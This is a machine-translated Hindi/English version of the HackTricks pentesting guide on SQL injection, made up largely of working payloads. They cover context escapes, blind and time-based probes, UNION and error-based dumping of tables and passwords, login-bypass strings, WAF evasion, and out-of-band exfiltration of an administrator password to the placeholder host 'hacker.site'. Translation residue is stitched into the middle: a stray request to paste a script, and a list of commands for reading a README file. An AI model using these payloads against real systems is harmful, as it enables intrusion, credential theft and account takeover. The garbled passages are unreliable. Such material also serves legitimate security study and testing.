SQL Injection

Reading time: 24 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SQL injection क्या है?

एक SQL injection एक सुरक्षा दोष है जो attackers को किसी application के database queries में हस्तक्षेप करने की अनुमति देता है। यह vulnerability attackers को ऐसे डेटा को देखने (view), परिवर्तित करने (modify), या हटाने (delete) में सक्षम बना सकती है जिन तक उनका पहुँच नहीं होनी चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे application एक्सेस कर सकता है। ऐसे कार्य application's फ़ंक्शनैलिटी या कंटेंट में स्थायी परिवर्तन कर सकते हैं या यहां तक कि server के compromise या denial of service का कारण बन सकते हैं।

प्रवेश बिंदु का पता लगाना

जब किसी साइट पर SQLi-related inputs के कारण server responses असामान्य दिखते हैं और साइट vulnerable to SQL injection (SQLi) प्रतीत होती है, तो पहला कदम यह समझना होता है कि query में बिना उसे बाधित किए डेटा कैसे inject किया जाए। इसके लिए वर्तमान context से प्रभावी रूप से escape करने की विधि पहचाननी आवश्यक होती है। ये कुछ उपयोगी उदाहरण हैं:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

फिर, आपको यह जानना होगा कि आप query को कैसे ठीक करें ताकि errors न हों। Query को ठीक करने के लिए आप input डेटा दे सकते हैं ताकि previous query नए डेटा को स्वीकार कर ले, या आप बस अपना input डालकर line के अंत में comment symbol जोड़ सकते हैं

Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.

Comments

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

तार्किक ऑपरेशनों के साथ पुष्टि

SQL injection vulnerability की पुष्टि करने का एक भरोसेमंद तरीका यह है कि एक तार्किक ऑपरेशन चलाया जाए और अपेक्षित परिणामों का अवलोकन किया जाए। उदाहरण के लिए, यदि GET parameter जैसे ?username=Peter और ?username=Peter' or '1'='1 पर समान सामग्री मिलती है, तो यह SQL injection vulnerability का संकेत है।

इसी प्रकार, गणितीय ऑपरेशन का उपयोग भी पुष्टि के लिए प्रभावी तकनीक है। उदाहरण के लिए, यदि ?id=1 और ?id=2-1 एक्सेस करने पर समान परिणाम मिलते हैं, तो यह SQL injection का संकेत है।

तार्किक ऑपरेशन द्वारा पुष्टि के उदाहरण:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

यह शब्द-सूची प्रस्तावित तरीके से SQLinjections की पुष्टि करने के लिए बनाई गई थी:

वास्तविक SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

समय के आधार पर पुष्टि

कुछ मामलों में आप जिस पेज का परीक्षण कर रहे हैं उस पर आप कोई भी परिवर्तन नोटिस नहीं करेंगे। इसलिए, एक अच्छा तरीका discover blind SQL injections है कि DB को ऐसे कार्य करवाएँ जो पेज के लोड होने के समय पर प्रभाव डालें.
इसलिए, हम SQL क्वेरी में concat करेंगे ऐसा ऑपरेशन जो पूरा होने में काफी समय लेगा:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

कुछ मामलों में sleep functions की अनुमति नहीं होगी। ऐसे में उन functions का उपयोग करने के बजाय आप query को ऐसे perform complex operations करवा सकते हैं जो कुछ सेकंड ले लें। इन तकनीकों के उदाहरण प्रत्येक टेक्नोलॉजी पर अलग से बताए जाएंगे (यदि कोई हों).

बैक-एंड की पहचान

बैक-एंड की पहचान करने का सबसे अच्छा तरीका है विभिन्न बैक-एंड्स के functions को execute करके देखना। आप पिछले सेक्शन के sleep functions का उपयोग कर सकते हैं या ये ones (table from payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Also, if you have access to the output of the query, you could make it डेटाबेस का संस्करण प्रिंट करवा सकते हैं

tip

आगे हम विभिन्न प्रकार के SQL Injection को exploit करने के अलग-अलग तरीकों पर चर्चा करेंगे। हम उदाहरण के तौर पर MySQL का उपयोग करेंगे।

PortSwigger के साथ पहचान

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

कॉलम की संख्या का पता लगाना

अगर आप query का आउटपुट देख सकते हैं तो यह इसे exploit करने का सबसे अच्छा तरीका है।
सबसे पहले, हमें यह पता लगाना होगा कि प्रारंभिक request कितने columns वापस कर रही है। यह इसलिए है क्योंकि दोनों queries को एक ही संख्या के columns return करने चाहिए
इसके लिए सामान्यतः दो तरीके उपयोग किए जाते हैं:

Order/Group by

किसी query में कॉलम की संख्या निर्धारित करने के लिए, ORDER BY या GROUP BY क्लॉज़ में उपयोग किए जाने वाले नंबर को क्रमिक रूप से समायोजित करें जब तक कि false प्रतिक्रिया न प्राप्त हो। हालांकि SQL में GROUP BY और ORDER BY की कार्यप्रणालियाँ अलग हैं, दोनों का उपयोग query के कॉलम की संख्या निर्धारित करने के लिए समान रूप से किया जा सकता है।

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

क्वेरी सही होने तक अधिक से अधिक null मान चुनते रहें:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

आपको null मानों का उपयोग करना चाहिए क्योंकि कुछ मामलों में query के दोनों पक्षों के columns का type समान होना चाहिए और null हर स्थिति में मान्य है।

अगले उदाहरणों में हम सभी databases के नाम, किसी database के table के नाम, और उस table के column names प्राप्त करने जा रहे हैं:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

हर अलग डेटाबेस पर यह डेटा खोजने का तरीका अलग हो सकता है, पर यह पद्धति हमेशा समान रहती है.

Exploiting Hidden Union Based

When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.

This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.

Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.

For more comprehensive insights, refer to the complete article available at Healing Blind Injections.

Exploiting Error based

यदि किसी कारण से आप cannot see the output of the query पर नहीं पहुँच पा रहे हैं, लेकिन आप see the error messages कर सकते हैं, तो आप इन error messages के माध्यम से database से data को ex-filtrate करवा सकते हैं.
Union Based exploitation जैसा ही flow अपनाकर आप dump the DB कर सकते हैं।

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi का शोषण

इस मामले में आप query के परिणाम या त्रुटियाँ नहीं देख सकते, लेकिन आप यह पहचान सकते हैं कि query ने true या false प्रतिक्रिया दी क्योंकि पेज पर सामग्री अलग होती है.
इस स्थिति में, आप इस व्यवहार का दुरुपयोग करके database को char by char dump कर सकते हैं:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Error Blind SQLi का शोषण

यह पहले जैसा ही मामला है, लेकिन क्वेरी से मिलने वाली true/false प्रतिक्रिया के बीच अंतर बताने के बजाय आप यह पता लगा सकते हैं कि SQL क्वेरी में एक error है या नहीं (शायद HTTP सर्वर क्रैश होने के कारण)। इसलिए, इस मामले में आप हर बार जब आप char का सही अनुमान लगाते हैं तब एक SQLerror उत्पन्न कर सकते हैं:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi का शोषण

इस मामले में पेज के संदर्भ के आधार पर query की प्रतिक्रिया को अलग करने का कोई तरीका मौजूद नहीं है। लेकिन, यदि अनुमानित अक्षर सही है तो आप पेज को लोड होने में अधिक समय लेने पर मजबूर कर सकते हैं। हमने पहले इस तकनीक को confirm a SQLi vuln के लिए इस्तेमाल होते देखा था।

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

आप stacked queries का उपयोग करके एक के बाद एक कई क्वेरीज निष्पादित कर सकते हैं। ध्यान दें कि हालांकि बाद की क्वेरीज निष्पादित हो जाती हैं, उनके परिणाम एप्लिकेशन को वापस नहीं दिए जाते। इसलिए यह तकनीक मुख्यतः blind vulnerabilities के मामलों में उपयोगी है, जहाँ आप दूसरी क्वेरी का उपयोग करके एक DNS lookup, conditional error, या time delay ट्रिगर कर सकते हैं।

Oracle stacked queries को सपोर्ट नहीं करता। MySQL, Microsoft और PostgreSQL इन्हें सपोर्ट करते हैं: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

यदि कोई अन्य exploitation method काम नहीं कर रही हो, तो आप कोशिश कर सकते हैं कि database ex-filtrate करके जानकारी आपके नियंत्रित किसी external host पर भेज दी जाए। उदाहरण के लिए, DNS queries के माध्यम से:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out of band data exfiltration via XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

SQLMap Cheatsheet देखें ताकि SQLi कमजोरी को sqlmap के साथ exploit किया जा सके।

टेक्नोलॉजी-विशिष्ट जानकारी

हम पहले ही SQL Injection कमजोरियों को exploit करने के सभी तरीकों पर चर्चा कर चुके हैं। इस किताब में डेटाबेस टेक्नोलॉजी-निर्भर और भी कुछ ट्रिक्स देखें:

या आपको MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के बारे में बहुत सारी ट्रिक्स https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection में मिलेंगी

Authentication bypass

लॉगिन फ़ंक्शनलिटी को bypass करने के लिए आजमाने के लिए सूची:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

यह query उस vulnerability को दर्शाती है जब MD5 को authentication checks में raw output के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। Attackers इसे exploit कर सकते हैं, ऐसे crafted inputs बनाकर जो hashed होने पर अनपेक्षित SQL command parts उत्पन्न करते हैं और unauthorized access का कारण बनते हैं।

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

अनुशंसित सूची:

आपको सूची की हर पंक्ति को उपयोगकर्ता नाम के रूप में उपयोग करना चाहिए और पासवर्ड हमेशा रखें: Pass1234.
(यह payloads भी इस सेक्शन की शुरुआत में उल्लेखित बड़ी सूची में शामिल हैं)

GBK Authentication Bypass

यदि ' को escape किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' escape हो जाएगा तो यह बनेगा: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

कृपया वह Python स्क्रिप्ट यहाँ पेस्ट करें जिसे आप src/pentesting-web/sql-injection/README.md से हिंदी में अनुवादित करवाना चाहते हैं।

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (कई संदर्भ)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

इसके लिए आपको कोशिश करनी चाहिए कि आप कुछ बदलकर "master object" के नाम से एक नया object बनाएं (users के मामले में संभवतः admin) :

  • नया user बनाएं जिसका नाम: AdMIn (uppercase & lowercase letters)
  • एक user बनाएं जिसका नाम: admin=
  • SQL Truncation Attack (जब username या email में किसी तरह की length limit हो) --> नाम के साथ user बनाएं: admin [a lot of spaces] a

SQL Truncation Attack

अगर database vulnerable है और username के लिए max number of chars उदाहरण के लिए 30 है और आप user admin का impersonate करना चाहते हैं, तो कोशिश करें कि एक username बनाएं: "admin [30 spaces] a" और कोई भी password दें।

database यह check करेगा कि दर्ज किया गया username database के अंदर exists करता है या नहीं। यदि नहीं, तो यह username को max allowed number of characters तक cut कर देगा (इस केस में: "admin [25 spaces]") और फिर यह automatically अंत में सभी spaces remove कर देगा और database के अंदर user "admin" को new password के साथ update कर देगा (कुछ error आ सकती है पर इसका मतलब यह नहीं कि यह काम नहीं किया)।

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

VALUES statement से बाहर निकलने के लिए जितने ','','' की आवश्यकता हो उतने जोड़ें। अगर delay executed होता है, तो यह SQLInjection है।

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL में ON DUPLICATE KEY UPDATE क्लॉज़ का उपयोग तब किया जाता है जब किसी ऐसे row को insert करने का प्रयास किया जाए जो UNIQUE index या PRIMARY KEY में duplicate value पैदा कर दे — इस स्थिति में डेटाबेस को कौन‑सी कार्रवाई करनी चाहिए, यह निर्दिष्ट करने के लिए। निम्नलिखित उदाहरण दर्शाता है कि इस फीचर का उपयोग administrator account के password को बदलने के लिए कैसे exploit किया जा सकता है:

उदाहरण Payload Injection:

एक injection payload निम्नानुसार तैयार किया जा सकता है, जहाँ users table में दो rows insert करने का प्रयास किया जाता है। पहली row एक decoy है, और दूसरी row मौजूदा administrator के email को लक्षित करती है ताकि password अपडेट किया जा सके:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

यह इस तरह काम करता है:

  • The query attempts to insert two rows: one for generic_user@example.com and another for admin_generic@example.com.
  • If the row for admin_generic@example.com already exists, the ON DUPLICATE KEY UPDATE clause triggers, instructing MySQL to update the password field of the existing row to "bcrypt_hash_of_newpassword".
  • Consequently, authentication can then be attempted using admin_generic@example.com with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).

जानकारी निकालें

एक साथ 2 खाते बनाना

When trying to create a new user and username, password and email are needed:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

दशमलव या हेक्साडेसिमल का उपयोग

इस तकनीक का उपयोग करके आप केवल 1 अकाउंट बनाकर जानकारी निकाल सकते हैं। यह ध्यान देने योग्य है कि आपको कुछ भी comment करने की जरूरत नहीं है।

hex2dec और substr का उपयोग:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
  • cat src/pentesting-web/sql-injection/README.md

  • less src/pentesting-web/sql-injection/README.md

  • sed -n '1,200p' src/pentesting-web/sql-injection/README.md

  • git show HEAD:src/pentesting-web/sql-injection/README.md

  • curl -sL "https://raw.githubusercontent.com////src/pentesting-web/sql-injection/README.md"

  • gh api repos///contents/src/pentesting-web/sql-injection/README.md --jq '.content' | base64 --decode

  • PowerShell (Windows): Get-Content -Raw src\pentesting-web\sql-injection\README.md

  • type src\pentesting-web\sql-injection\README.md

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

hex और replace (और substr) का उपयोग करके:

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection एक ऐसी स्थिति है जहाँ injectable query वही नहीं है जो output देता है, बल्कि injectable query का output उस query में जाता है जो output देता है. (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - whitespace विकल्पों का उपयोग करके bypass

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - comments का उपयोग करके bypass

sql
?id=1/*comment*/and/**/1=1/**/--

कोई रिक्त स्थान नहीं - कोष्ठक का उपयोग करके बायपास

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

सामान्य Bypasses

keywords का उपयोग करने वाला Blacklist — uppercase/lowercase का उपयोग करके bypass करें

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Keywords को case-insensitive तरीके से Blacklist करना — equivalent operator का उपयोग करके bypass

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

आप इस ट्रिक की अधिक गहन व्याख्या gosecure blog.
बुनियादी रूप से आप WAF को बायपास करने के लिए scientific notation का उपयोग अप्रत्याशित तरीकों से कर सकते हैं:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

कॉलम नामों पर प्रतिबंध बायपास करें

सबसे पहले, ध्यान दें कि यदि original query और उस table जहाँ से आप flag निकालना चाहते हैं के कॉलमों की संख्या समान है तो आप बस कर सकते हैं: 0 UNION SELECT * FROM flag

यह संभव है कि आप किसी table के तीसरे कॉलम को उसका नाम उपयोग किये बिना एक्सेस कर सकें, एक query के द्वारा जैसे कि निम्नलिखित: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, तो एक sqlinjection में यह कुछ इस तरह दिखेगा:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

या comma bypass का उपयोग करके:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

यह ट्रिक https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ से ली गई थी

Column/tablename injection in SELECT list via subqueries

यदि user input SELECT list या table/column identifiers में concatenated किया जाता है, तो prepared statements मदद नहीं करेंगे क्योंकि bind parameters केवल values की रक्षा करते हैं, identifiers की नहीं। एक सामान्य कमजोर pattern इस प्रकार है:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Exploitation idea: field position में subquery inject करके arbitrary data को exfiltrate करें:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

नोट्स:

  • यह तब भी काम करता है जब WHERE clause एक bound parameter का उपयोग करती है, क्योंकि identifier list अभी भी string-concatenated रहती है।
  • कुछ stacks अतिरिक्त रूप से आपको table name नियंत्रित करने की अनुमति देते हैं (tablename injection), जिससे cross-table reads सक्षम होते हैं।
  • Output sinks चयनित value को HTML/JSON में प्रतिबिंबित कर सकते हैं, जिससे सीधे response से XSS या token exfiltration संभव हो सकता है।

रोकथाम:

  • कभी भी user input से identifiers को.concatenate न करें। Allowed column names को एक fixed allow-list में मैप करें और identifiers को सही तरीके से quote करें।
  • यदि dynamic table access आवश्यक है, तो इसे एक सीमित सेट तक सीमित रखें और server-side पर एक सुरक्षित mapping से resolve करें।

WAF bypass सुझाव देने वाले tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

अन्य गाइड

Brute-Force डिटेक्शन सूची

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें